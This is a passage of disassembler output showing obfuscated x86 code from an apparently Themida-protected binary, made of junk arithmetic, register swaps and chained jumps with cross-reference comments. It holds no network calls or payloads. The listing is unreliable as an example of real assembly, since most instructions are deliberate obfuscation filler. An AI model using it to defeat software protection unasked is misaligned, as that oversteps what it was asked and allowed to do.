; CODE XREF: sub_58F5B5:loc_597CC8j jmp loc_58FE39 ; END OF FUNCTION CHUNK FOR sub_58F5B5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_590467 loc_58B3FA: ; CODE XREF: sub_590467+751Fj xchg esi, ebp inc esi xor ebp, esi xor esi, ebp xor ebp, esi push ebx mov ebx, 0A49ACF6Dh sub ebp, ebx mov ebx, [esp+0Ah+var_A] add esp, 4 and eax, ebp push [esp+6+var_6] jmp loc_58E06E ; END OF FUNCTION CHUNK FOR sub_590467 ; --------------------------------------------------------------------------- loc_58B41B: ; CODE XREF: Themida_:0058AD80j add esi, 0AFFB5910h jmp loc_58F65B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_590010 loc_58B426: ; CODE XREF: sub_590010-1529j add edi, 4 add edi, 4 xchg edi, [esp-8+arg_4] pop esp push ebp mov ebp, 2 add edx, ebp pop ebp xchg edx, [esp-0Ch+arg_8] pop esp idiv cx jmp loc_5916A2 ; END OF FUNCTION CHUNK FOR sub_590010 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58F091 loc_58B44B: ; CODE XREF: sub_58F091-261Ej mov [esp+0Ch+var_C], eax push edx mov edx, 522D2B67h push ebp mov ebp, 502B22A5h sub ebp, 131A2D21h xor ebp, 55B6382h add ebp, 4DDCAD47h sub edx, 7C1C1E4Ch sub edx, 1DD55839h sub edx, ebp add edx, 1DD55839h add edx, 7C1C1E4Ch pop ebp mov eax, edx pop edx xor edi, eax pop eax jmp loc_5902C7 ; END OF FUNCTION CHUNK FOR sub_58F091 ; --------------------------------------------------------------------------- loc_58B492: ; CODE XREF: Themida_:0058EA7Aj push edx push edi jmp loc_59400B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58C17E loc_58B499: ; CODE XREF: sub_58C17E+B66Fj mov dl, 30h add dl, 1 add dl, 0FFh push cx mov ch, 0F8h sub dl, ch mov cx, [esp+0] add esp, 2 sub al, 0EAh add al, dl push ebx jmp loc_58C5FB ; --------------------------------------------------------------------------- loc_58B4BB: ; CODE XREF: sub_58C17E+15F4j push ecx mov ch, 0D3h xor al, ch pop ecx push eax mov eax, esp add eax, 4 jmp loc_5919CC ; END OF FUNCTION CHUNK FOR sub_58C17E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_590467 loc_58B4CE: ; CODE XREF: sub_590467+5231j pop ebx sub edi, esi jmp loc_58F9E1 ; END OF FUNCTION CHUNK FOR sub_590467 ; =============== S U B R O U T I N E ======================================= sub_58B4D6 proc near ; CODE XREF: sub_592D12-5FE8j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0058AD5E SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0058B3CA SIZE 00000026 BYTES ; FUNCTION CHUNK AT 0058C5BE SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0058D2B6 SIZE 00000024 BYTES ; FUNCTION CHUNK AT 0058D739 SIZE 00000037 BYTES ; FUNCTION CHUNK AT 0058DF0C SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0058E0E0 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0058E21B SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0058E8F1 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0058EBFE SIZE 0000001B BYTES ; FUNCTION CHUNK AT 0058EF5A SIZE 0000002F BYTES ; FUNCTION CHUNK AT 0058F293 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0059094E SIZE 00000007 BYTES ; FUNCTION CHUNK AT 00590A68 SIZE 00000034 BYTES ; FUNCTION CHUNK AT 005910F4 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00591970 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 00591F71 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 00592349 SIZE 00000020 BYTES ; FUNCTION CHUNK AT 0059242F SIZE 00000009 BYTES ; FUNCTION CHUNK AT 00593136 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 005931A2 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 00593969 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00594CC1 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 00594DE0 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00596086 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0059618F SIZE 00000011 BYTES ; FUNCTION CHUNK AT 00596325 SIZE 0000002E BYTES ; FUNCTION CHUNK AT 0059658E SIZE 00000016 BYTES ; FUNCTION CHUNK AT 00596B2F SIZE 0000001A BYTES ; FUNCTION CHUNK AT 00597DA6 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 00597E05 SIZE 0000000E BYTES push ebp mov ebp, 14ED13B8h inc ebp jmp loc_59618F sub_58B4D6 endp ; --------------------------------------------------------------------------- loc_58B4E2: ; CODE XREF: Themida_:00596E3Ej push edx jmp loc_59359D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58C17E loc_58B4E8: ; CODE XREF: sub_58C17E+ADC5j sub edi, 6A6A1FC9h jmp loc_592033 ; END OF FUNCTION CHUNK FOR sub_58C17E ; --------------------------------------------------------------------------- byte_58B4F3 db 89h ; CODE XREF: Themida_:00597C3Dj ; --------------------------------------------------------------------------- and al, 24h jmp loc_58FB14 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5919E2 loc_58B4FB: ; CODE XREF: sub_5919E2-1720j push edi mov edi, esp add edi, 4 jmp loc_590B96 ; END OF FUNCTION CHUNK FOR sub_5919E2 ; --------------------------------------------------------------------------- loc_58B509: ; CODE XREF: Themida_:005932EAj pop edx add edi, 4 jmp loc_594CB8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_590B70 loc_58B512: ; CODE XREF: sub_590B70+501Dj sub eax, 4F01671Bh pop edx mov edi, eax jmp loc_591B9A ; END OF FUNCTION CHUNK FOR sub_590B70 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_590010 loc_58B51F: ; CODE XREF: sub_590010+47FDj mov eax, 39A21CB1h jmp loc_59165A ; END OF FUNCTION CHUNK FOR sub_590010 ; --------------------------------------------------------------------------- loc_58B529: ; CODE XREF: Themida_:00597917j pop ebx neg ecx jmp loc_58F18B ; --------------------------------------------------------------------------- loc_58B531: ; CODE XREF: Themida_:00591FF0j push 788Eh mov [esp], ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] mov esp, [esp] jmp loc_592FB9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5938B9 loc_58B549: ; CODE XREF: sub_5938B9-6020j inc ebx not ebx xor ebx, 72707595h not ebx shl ebx, 1 sub ebx, 0BF369E06h and edx, ebx pop ebx not edx jmp loc_591B3D ; END OF FUNCTION CHUNK FOR sub_5938B9 ; --------------------------------------------------------------------------- loc_58B566: ; CODE XREF: Themida_:0058B671j pop edx mov ah, bh pop bx sub ah, 0F7h jmp loc_5966DC ; --------------------------------------------------------------------------- loc_58B573: ; CODE XREF: Themida_:00595DE5j add edi, 0EF1111A4h mov ebx, edi pop edi or edi, ebx jmp loc_5915D4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58F5B5 loc_58B583: ; CODE XREF: sub_58F5B5+1805j pop esp push esi mov esi, esp jmp loc_58D434 ; END OF FUNCTION CHUNK FOR sub_58F5B5 ; --------------------------------------------------------------------------- loc_58B58C: ; CODE XREF: Themida_:0058FB54j push 6972h jmp loc_593D9E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_595258 loc_58B596: ; CODE XREF: sub_595258-33CCj mov edi, esp add edi, 4 add edi, 4 xor edi, [esp+8+var_8] xor [esp+8+var_8], edi jmp loc_59183E ; END OF FUNCTION CHUNK FOR sub_595258 ; --------------------------------------------------------------------------- loc_58B5AF: ; CODE XREF: Themida_:00594683j mov esi, ebx mov eax, esi pop esi pop ebx jmp loc_596DF6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58C17E loc_58B5BA: ; CODE XREF: sub_58C17E+D2Ej shl esi, 5 jmp loc_58B190 ; END OF FUNCTION CHUNK FOR sub_58C17E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5919E2 loc_58B5C2: ; CODE XREF: sub_5919E2+10j mov edx, edi pop edi push esi mov esi, 329722B5h shl esi, 2 add esi, 68F3771Fh push esi not [esp+8+var_8] pop esi push ebp push esi mov esi, 5C733014h add esi, 45003A12h js loc_58CBD1 add esi, 0C9A36DB7h jmp loc_58D36C ; END OF FUNCTION CHUNK FOR sub_5919E2 ; --------------------------------------------------------------------------- pop ebx ; START OF FUNCTION CHUNK FOR sub_5916C4 loc_58B5F8: ; CODE XREF: sub_5916C4+173Ej not edi sub edi, 37CF693Bh jmp loc_59470C ; --------------------------------------------------------------------------- loc_58B605: ; CODE XREF: sub_5916C4+36E0j mov ecx, esp add ecx, 4 jmp loc_5911B2 ; END OF FUNCTION CHUNK FOR sub_5916C4 ; --------------------------------------------------------------------------- loc_58B612: ; CODE XREF: Themida_:0058A64Ej mov esp, [esp] xor [esp], al pushf jmp loc_595D6A ; --------------------------------------------------------------------------- loc_58B61E: ; CODE XREF: Themida_:0058BC95j sub esp, 4 mov [esp], edx mov edx, esp push ebp jmp loc_5906D4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5921D8 loc_58B62C: ; CODE XREF: sub_5921D8+150Ej push ecx jmp loc_593A52 ; END OF FUNCTION CHUNK FOR sub_5921D8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5916C4 loc_58B632: ; CODE XREF: Themida_:0058E1B7j ; sub_5916C4+2CD5j pop ebx sub al, dh push bx jmp loc_58CC90 ; END OF FUNCTION CHUNK FOR sub_5916C4 ; --------------------------------------------------------------------------- loc_58B63C: ; CODE XREF: Themida_:0058F356j pop ebx jmp loc_58DB19 ; --------------------------------------------------------------------------- loc_58B642: ; CODE XREF: Themida_:00590FF5j push ecx mov ecx, 4 sub ebp, 0DF20361h add ebp, ecx add ebp, 0DF20361h pop ecx push 0F8Fh jmp loc_58D3F8 ; --------------------------------------------------------------------------- loc_58B661: ; CODE XREF: Themida_:005937FDj push ebx push 0A3h mov [esp], ecx jmp loc_592DCD ; --------------------------------------------------------------------------- loc_58B66F: ; CODE XREF: Themida_:00597F73j mov bh, dh jmp loc_58B566 ; --------------------------------------------------------------------------- loc_58B676: ; CODE XREF: Themida_:0059463Aj shr ecx, 8 push esi mov esi, 57BB87h jmp loc_591DE5 ; --------------------------------------------------------------------------- loc_58B684: ; CODE XREF: Themida_:0058FA4Dj pop ebx xor edx, 562A2538h jmp loc_5912B4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58F5B5 loc_58B690: ; CODE XREF: sub_58F5B5+6j mov [esp+4+var_4], edi sub esp, 4 jmp loc_59080D ; END OF FUNCTION CHUNK FOR sub_58F5B5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58C17E loc_58B69B: ; CODE XREF: sub_58C17E+3371j xchg edx, ecx push esi mov esi, 8DCE6953h sub ecx, esi mov esi, [esp+6+var_8+2] add esp, 4 jmp sub_5965CD ; END OF FUNCTION CHUNK FOR sub_58C17E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5EC2E8 loc_58B6B0: ; CODE XREF: sub_5EC2E8-578E9j push ecx mov ecx, 4 add [esp+24h+var_20], ecx pop ecx jmp loc_597076 ; END OF FUNCTION CHUNK FOR sub_5EC2E8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591059 loc_58B6C0: ; CODE XREF: sub_591059-3103j pop esi xor ebx, 3365F014h jmp loc_58B1B8 ; END OF FUNCTION CHUNK FOR sub_591059 ; --------------------------------------------------------------------------- loc_58B6CC: ; CODE XREF: Themida_:005973C1j mov ecx, [esp] add esp, 4 jmp loc_592CE2 ; --------------------------------------------------------------------------- loc_58B6D7: ; CODE XREF: Themida_:0059603Dj add ecx, esi mov esi, [esp] jmp loc_58F9C0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5938B9 loc_58B6E1: ; CODE XREF: sub_5938B9-51B9j add eax, 4 xchg eax, [esp-8+arg_4] pop esp jmp loc_595B44 ; END OF FUNCTION CHUNK FOR sub_5938B9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58F5B5 loc_58B6EF: ; CODE XREF: sub_58F5B5-1371j pop ebp xor edi, [esp+4+var_4] xor [esp+4+var_4], edi jmp loc_58EB02 ; END OF FUNCTION CHUNK FOR sub_58F5B5 ; --------------------------------------------------------------------------- loc_58B6FB: ; CODE XREF: Themida_:00594E6Aj pop esi mov edx, edi mov edi, [esp] add esp, 4 add eax, 7AF3E5Fh sub eax, 188F58B3h sub eax, edx add eax, 188F58B3h sub eax, 7AF3E5Fh push dword ptr [esp] pop edx add esp, 4 jmp loc_58DCB5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5EC2E8 loc_58B72C: ; CODE XREF: sub_5EC2E8-61AAEj ja loc_58DA9F inc dl jmp loc_5947DC ; END OF FUNCTION CHUNK FOR sub_5EC2E8 ; --------------------------------------------------------------------------- loc_58B739: ; CODE XREF: Themida_:0058A503j shr ah, 7 shl ah, 6 jmp loc_58F314 ; --------------------------------------------------------------------------- loc_58B744: ; CODE XREF: Themida_:00597180j push 4 pop ebx add eax, ebx pop ebx sub eax, 4 xor eax, [esp] jmp loc_58FFF2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_590467 loc_58B75A: ; CODE XREF: sub_590467-1CE5j mov word ptr [esp+6+var_6], dx push ecx push ebx jmp loc_5961A0 ; END OF FUNCTION CHUNK FOR sub_590467 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5916C4 loc_58B765: ; CODE XREF: sub_5916C4+4134j xor eax, 335D4884h jno loc_593E59 sub eax, 36DA3842h push edx mov edx, eax mov ecx, edx jmp loc_59489A ; END OF FUNCTION CHUNK FOR sub_5916C4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_590010 loc_58B77F: ; CODE XREF: sub_590010+7BEFj xchg edi, [esp-10h+arg_C] mov esp, [esp-10h+arg_C] mov [esp-10h+arg_C], esi mov esi, 4 add edx, 56F019D2h add edx, esi sub edx, 56F019D2h jmp loc_593EAE ; END OF FUNCTION CHUNK FOR sub_590010 ; --------------------------------------------------------------------------- loc_58B7A0: ; CODE XREF: Themida_:00591EA6j add ebx, esi pop esi push edx push edi push 24A21E4Bh pop edi and edi, 36BE25EDh neg edi sub edi, 0AB0F9756h jmp loc_5961D8 ; --------------------------------------------------------------------------- loc_58B7BE: ; CODE XREF: Themida_:0058A30Fj add edx, 4 jmp loc_58AB52 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58EB1F loc_58B7C9: ; CODE XREF: sub_58EB1F+18j xchg esi, [esp+0] pop esp sub esp, 4 mov [esp+0], ebp jmp loc_58F64B ; END OF FUNCTION CHUNK FOR sub_58EB1F ; --------------------------------------------------------------------------- loc_58B7D8: ; CODE XREF: Themida_:0058F598j mov edx, [esp] add esp, 4 jmp loc_58B93A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5916C4 loc_58B7E3: ; CODE XREF: sub_5916C4+480Fj add esi, 88DA8991h add eax, esi pop esi add edx, eax pop eax jmp loc_58A2CE ; END OF FUNCTION CHUNK FOR sub_5916C4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_595E21 loc_58B7F4: ; CODE XREF: sub_595E21-1B43j push edx pop ecx pop edx push edx mov edx, 24h add edx, edi jmp loc_590699 ; END OF FUNCTION CHUNK FOR sub_595E21 ; --------------------------------------------------------------------------- loc_58B804: ; CODE XREF: Themida_:005906FCj div cx push ebp jmp loc_596013 ; --------------------------------------------------------------------------- loc_58B80D: ; CODE XREF: Themida_:00591A6Dj xor [esp+4], ebp pop ebp pop ebx xor ebx, 384A3494h pop ebp pop edi sub dword ptr [esp+4], 6DEE53C8h sub [esp+4], ebx jmp loc_58D7E1 ; --------------------------------------------------------------------------- loc_58B82C: ; CODE XREF: Themida_:00596ACAj add esi, 387944CFh pop ecx jmp loc_58A2D4 ; --------------------------------------------------------------------------- loc_58B838: ; CODE XREF: Themida_:00590492j push 7F645630h pop edi xor eax, edi jmp loc_58EA79 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59762D loc_58B845: ; CODE XREF: sub_59762D-BBE6j ; sub_590B70+1Ej shr edx, 2 add edx, 5795110Ah push ebx jmp loc_596BE6 ; END OF FUNCTION CHUNK FOR sub_59762D ; --------------------------------------------------------------------------- loc_58B854: ; CODE XREF: Themida_:00594278j mov esi, 3AAA1E47h and esi, 621A19B3h jl loc_5943DA sub esi, 718E0A0Fh push edi mov edi, 71F21419h or esi, edi jmp loc_5971C1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58C17E loc_58B878: ; CODE XREF: sub_58C17E+2477j pop esi jmp loc_5909A6 ; END OF FUNCTION CHUNK FOR sub_58C17E ; --------------------------------------------------------------------------- loc_58B87E: ; CODE XREF: Themida_:00591FCBj ; Themida_:00593078j add edi, 6BB62C5Eh pop ebp push esi mov esi, 5B000363h add ebx, esi pop esi add ebx, edi sub ebx, 5B000363h pop edi jmp loc_593B1A ; --------------------------------------------------------------------------- loc_58B89C: ; CODE XREF: Themida_:00593284j mov ebx, [esp] add esp, 4 sub esp, 4 mov [esp], ecx mov ch, 70h jmp loc_58C898 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58F5B5 loc_58B8B2: ; CODE XREF: sub_58F5B5-AD5j mov ecx, esp add ecx, 4 sub ecx, 4 xchg ecx, [esp+4+var_4] pop esp mov [esp+0], eax mov eax, 0D816D25h sub esi, eax pop eax and esi, 29BD449Ch sub esi, 7E040Ch and eax, esi mov esi, [esp-4+arg_0] add esp, 4 jmp loc_593E9B ; END OF FUNCTION CHUNK FOR sub_58F5B5 ; --------------------------------------------------------------------------- loc_58B8E8: ; CODE XREF: Themida_:005915C9j mov [esp], esi push 35384EDDh pop esi xor esi, 35384ED9h jmp loc_5966A8 ; --------------------------------------------------------------------------- loc_58B8FC: ; CODE XREF: Themida_:005978D4j mov ebp, [esp] jmp loc_58A2E8 ; --------------------------------------------------------------------------- loc_58B904: ; CODE XREF: Themida_:005973ECj add esp, 4 jmp loc_5942B2 ; --------------------------------------------------------------------------- loc_58B90C: ; CODE XREF: Themida_:00593099j sub edx, 4FDF74A2h jmp loc_58ECF3 ; --------------------------------------------------------------------------- loc_58B917: ; CODE XREF: Themida_:0059198Ej push dword ptr [esp] push dword ptr [esp] pop eax push ebx mov ebx, esp push esi mov esi, 2E6832AAh inc esi inc esi jmp loc_591E91 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58F5B5 loc_58B92E: ; CODE XREF: sub_58F5B5+7430j pop esi add esi, 7ABD6E58h jmp loc_597CC8 ; END OF FUNCTION CHUNK FOR sub_58F5B5 ; --------------------------------------------------------------------------- loc_58B93A: ; CODE XREF: Themida_:0058B7DEj shl edx, 8 push ebx mov ebx, 4E35423Fh or ebx, 3EFE31B2h add ebx, 78AF0961h or ebx, 445E0320h sub ebx, 18FC27DAh push edi mov edi, 5D801233h sub ebx, 40C577DCh add ebx, edi add ebx, 40C577DCh pop edi jmp loc_58CD8B ; --------------------------------------------------------------------------- loc_58B975: ; CODE XREF: Themida_:005969AEj mov edx, [esp] jmp loc_58C3D6 ; --------------------------------------------------------------------------- lodsd jmp loc_58F14E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_592857 loc_58B983: ; CODE XREF: sub_592857-7EB4j ; Themida_:0058FDB3j add esp, 4 pop edx add edx, 55BB4B17h jmp loc_59716C ; END OF FUNCTION CHUNK FOR sub_592857 ; --------------------------------------------------------------------------- loc_58B992: ; CODE XREF: Themida_:0059539Cj jmp loc_58A2CE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_595258 loc_58B997: ; CODE XREF: sub_595258-94E9j push ecx mov ecx, 79FB666Ah or ecx, 4A19697Dh jmp loc_592FF7 ; END OF FUNCTION CHUNK FOR sub_595258 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5EC2E8 loc_58B9A8: ; CODE XREF: sub_5EC2E8:loc_594C51j xor eax, 79FA75FFh jmp loc_58C6A6 ; END OF FUNCTION CHUNK FOR sub_5EC2E8 ; --------------------------------------------------------------------------- loc_58B9B2: ; CODE XREF: Themida_:00595AC4j add esp, 4 jmp loc_593F73 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_590467 loc_58B9BA: ; CODE XREF: sub_590467-5D38j shl ebp, 5 jmp loc_590327 ; END OF FUNCTION CHUNK FOR sub_590467 ; --------------------------------------------------------------------------- loc_58B9C2: ; CODE XREF: Themida_:0058AB34j sub ecx, ebx jmp loc_5921EE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_595123 loc_58B9C9: ; CODE XREF: sub_595123-AACj push eax mov eax, 69746F2Bh sub eax, 36507E6Ch not eax xor eax, 5CCE5CDCh xor eax, 0F1787485h sub edx, eax pop eax mov edi, [esp+0Ch+var_C] add esp, 4 add edx, 4 push 6BF0h jmp loc_590F4F ; END OF FUNCTION CHUNK FOR sub_595123 ; --------------------------------------------------------------------------- loc_58B9F9: ; CODE XREF: Themida_:0058A363j add edi, 73402EF0h add edi, 5CE349C4h add edi, edx sub edi, 5CE349C4h jmp loc_58FB2B ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_58BA12 proc near ; CODE XREF: sub_591059-2D9j var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00591697 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 005924A9 SIZE 0000001C BYTES ; FUNCTION CHUNK AT 00592E67 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00593F00 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 005940B8 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00594880 SIZE 00000007 BYTES push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp+0] jmp loc_5940B8 sub_58BA12 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58F836 loc_58BA29: ; CODE XREF: Themida_:0058D3EDj ; sub_58F836-1561j mov ebp, 69462A22h jmp loc_5940E2 ; END OF FUNCTION CHUNK FOR sub_58F836 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59762D loc_58BA33: ; CODE XREF: sub_59762D-7806j mov ebp, 46DA433Fh sub ebp, 53011B95h push edx mov edx, 85A21E4h shl edx, 4 jmp loc_58B845 ; END OF FUNCTION CHUNK FOR sub_59762D ; --------------------------------------------------------------------------- loc_58BA4C: ; CODE XREF: Themida_:00590D2Fj push esp mov ecx, [esp] add esp, 4 jmp loc_58CAC2 ; --------------------------------------------------------------------------- loc_58BA58: ; CODE XREF: Themida_:00596320j xor [esp], esi xor esi, [esp] mov esp, [esp] mov [esp], ax jmp loc_58A2CE ; --------------------------------------------------------------------------- sub esp, 4 mov [esp], ebx jmp loc_59093E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5942E3 loc_58BA75: ; CODE XREF: sub_5942E3-1AA3j push esi mov esi, 4 jmp loc_59393E ; END OF FUNCTION CHUNK FOR sub_5942E3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59338C loc_58BA80: ; CODE XREF: sub_59338C-56E9j push ecx mov ecx, esp push eax mov eax, 4 add ecx, eax pop eax add ecx, 4 jmp loc_58FD95 ; END OF FUNCTION CHUNK FOR sub_59338C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59524C loc_58BA94: ; CODE XREF: sub_59524C-7F3Dj mov ecx, [esp+4+var_4] add esp, 4 add eax, esi jmp loc_5975EA ; END OF FUNCTION CHUNK FOR sub_59524C ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop eax sbb [esp], eax pushf jmp loc_58A2CE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5916CB loc_58BAB2: ; CODE XREF: sub_5916CB+28F2j push 1B21276Eh pop eax and eax, 43CF42FEh shl eax, 7 add eax, 91DB06B6h jmp loc_596713 ; END OF FUNCTION CHUNK FOR sub_5916CB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58C17E loc_58BACA: ; CODE XREF: sub_58C17E+CFCj pop esp or ebp, 0F645139h add ebp, 0E0108811h mov edx, ebp pop ebp and ebx, edx mov edx, [esp-0Ah+arg_4+2] add esp, 4 or ebx, ebx jnz loc_597A0A push 7241h mov [esp-0Ah+arg_4+2], eax jmp loc_58ADF2 ; END OF FUNCTION CHUNK FOR sub_58C17E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5938B9 loc_58BAFA: ; CODE XREF: sub_5938B9-4147j ; sub_590467+5877j sub al, 29h mov ch, al pop eax add bl, ch jmp loc_5949A7 ; END OF FUNCTION CHUNK FOR sub_5938B9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5916C4 loc_58BB06: ; CODE XREF: sub_5916C4-F98j ; Themida_:00593791j neg esi sub esi, 80976724h sub ebx, esi pop esi pop edi add ebx, 7F907FDDh jmp loc_595A8E ; END OF FUNCTION CHUNK FOR sub_5916C4 ; --------------------------------------------------------------------------- loc_58BB1D: ; CODE XREF: Themida_:0058AF15j pop ebx jmp loc_58FDBA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5EC2E8 loc_58BB23: ; CODE XREF: sub_5EC2E8:loc_5947DCj or dl, 81h jnp sub_590C09 push ebx mov bl, 1Ch jmp loc_58BB94 ; END OF FUNCTION CHUNK FOR sub_5EC2E8 ; --------------------------------------------------------------------------- dec edx mov edi, ebp or al, 0F5h ; START OF FUNCTION CHUNK FOR sub_58F5B5 loc_58BB39: ; CODE XREF: sub_58F5B5-2E50j shr eax, 10h xor eax, ecx sub esp, 4 mov [esp-8+arg_4], eax mov eax, esp add eax, 4 sub eax, 4 jmp loc_58DEED ; END OF FUNCTION CHUNK FOR sub_58F5B5 ; --------------------------------------------------------------------------- loc_58BB53: ; CODE XREF: Themida_:0058BF27j mov esi, 0FFEE55F5h jmp loc_58A3FC ; --------------------------------------------------------------------------- loc_58BB5D: ; CODE XREF: Themida_:0058A399j pop esi jmp loc_58AA1A ; --------------------------------------------------------------------------- loc_58BB63: ; CODE XREF: Themida_:00595C09j shl ebx, 7 not ebx and ebx, 52AA0548h jmp loc_5975A1 ; --------------------------------------------------------------------------- loc_58BB73: ; CODE XREF: Themida_:00590F0Bj sub eax, 7C7A5F4Fh sub eax, 52C83D3Dh jmp loc_58DA99 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58F5B5 loc_58BB82: ; CODE XREF: sub_58F5B5+125Bj sub [esp-8+arg_4], 252E2528h pop edi push 2B80h jmp loc_593EB6 ; END OF FUNCTION CHUNK FOR sub_58F5B5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5EC2E8 loc_58BB94: ; CODE XREF: sub_5EC2E8-607B9j ; sub_58C17E+3AAFj xor [esp+28h+var_28], edi jmp loc_59129D ; END OF FUNCTION CHUNK FOR sub_5EC2E8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_590467 loc_58BB9C: ; CODE XREF: sub_590467+6E38j or ebp, 3C35629Eh jnb loc_58B365 inc ebp not ebp inc ebp jg loc_58C397 loc_58BBB2: ; CODE XREF: Themida_:00597C44j pop cx add al, 0C1h add al, bl push ecx mov ch, 0C1h sub al, ch jmp loc_595F30 ; END OF FUNCTION CHUNK FOR sub_590467 ; --------------------------------------------------------------------------- push dword ptr [esp] jmp loc_5941A2 ; --------------------------------------------------------------------------- loc_58BBCA: ; CODE XREF: Themida_:005960F8j sub esp, 4 mov [esp], eax mov eax, 21801B4Bh xor edx, eax jmp loc_59230E ; --------------------------------------------------------------------------- loc_58BBDF: ; CODE XREF: Themida_:0058FA54j xor bh, al pop eax add al, 29h add al, bh sub al, 29h pop bx sub esp, 4 mov [esp], ebx mov bl, 0B0h shl bl, 4 jmp loc_59271C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5EC2E8 loc_58BBFA: ; CODE XREF: sub_5EC2E8-5A183j or edx, eax shl edx, 1 push 65C0h mov [esp+2Ch+var_2C], ebp push eax push 3286058Ah mov eax, [esp+34h+var_34] add esp, 4 shl eax, 8 jz loc_594C51 jmp loc_58D051 ; END OF FUNCTION CHUNK FOR sub_5EC2E8 ; --------------------------------------------------------------------------- loc_58BC23: ; CODE XREF: Themida_:00597788j mov esi, 6F25374Eh sub esi, edi jmp loc_596E2E ; --------------------------------------------------------------------------- loc_58BC2F: ; CODE XREF: Themida_:0058E407j ; Themida_:00591E18j push 6F81h mov [esp], esp add dword ptr [esp], 4 mov ebx, [esp] push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] pop esp add ebx, 4 add ebx, 4 push ebx push dword ptr [esp+4] jmp loc_592114 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58C17E 